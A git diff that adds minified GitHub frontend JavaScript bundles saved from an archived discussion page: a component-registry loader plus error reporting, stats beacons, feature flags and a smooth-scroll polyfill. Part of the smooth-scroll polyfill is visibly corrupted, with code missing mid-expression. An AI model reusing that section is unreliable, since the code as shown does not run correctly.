g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return 